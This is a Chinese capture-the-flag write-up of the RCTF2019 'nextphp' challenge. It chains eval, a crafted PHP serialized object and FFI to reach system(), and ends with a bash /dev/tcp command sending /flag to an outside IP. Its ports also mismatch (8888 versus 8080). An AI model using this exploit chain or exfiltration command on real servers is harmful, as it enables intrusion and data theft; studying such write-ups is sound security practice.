RCTF2019(nextphp)

题目给的代码很简单

 <?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

这里的a可以作为代码执行。

例如url?a=echo phpinfo();

 禁用函数中不含scanfdir函数

scandir函数:

 因此打印根目录文件 a=var_dump(scandir('var/www/html'));

查看源码:

a = file_get_contents('xxx.php');

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

 php7.4 __unserialize 新的自定义对象序列化机制

 对象序列化时会触发run方法:

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

_get()获取元素的值

public function __get ($key) {
return $this->data[$key];
}

这里采用代码注入的方式,传入一个序列化字符串,触发反序列化函数。

a=include('preload.php');var_dump(unserialize('C:1:"A":150:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";a:3:{s:1:"a";s:5:"apple";s:1:"b";s:6:"banana";s:1:"c";a:3:{i:0;s:1:"x";i:1;s:1:"y";i:2;s:1:"z";}}}}')->__get('ret'));

打印数组

 这里成功的使用print_r函数去打印我们传入的数组,因此这里可以用这个方法去定义函数引用函数,现在就需要解决命令执行的问题。

 这里禁用了命令执行的一些函数。

学习一种新的手段。

preload.php  这个文件名也是一个提示,Google一下这个preload。

PHP / FFI /预加载

这个FFI的原理就是在php中可以调用c语言中的库,因此可以借助c语言去命令执行

php.ini配置使用preload预加载与FFI扩展,FFI中可以进行命令执行。

构造序列化

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {  //获取元素的值
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
$obj = new A;
$ser = serialize($obj);
echo $ser;

这段代码要在php7下运行。

payload:C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}

a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/106.54.106.194/8888"');

在自己vps上 nc -lvnp 8080

猜你喜欢

转载自www.cnblogs.com/sylover/p/11961218.html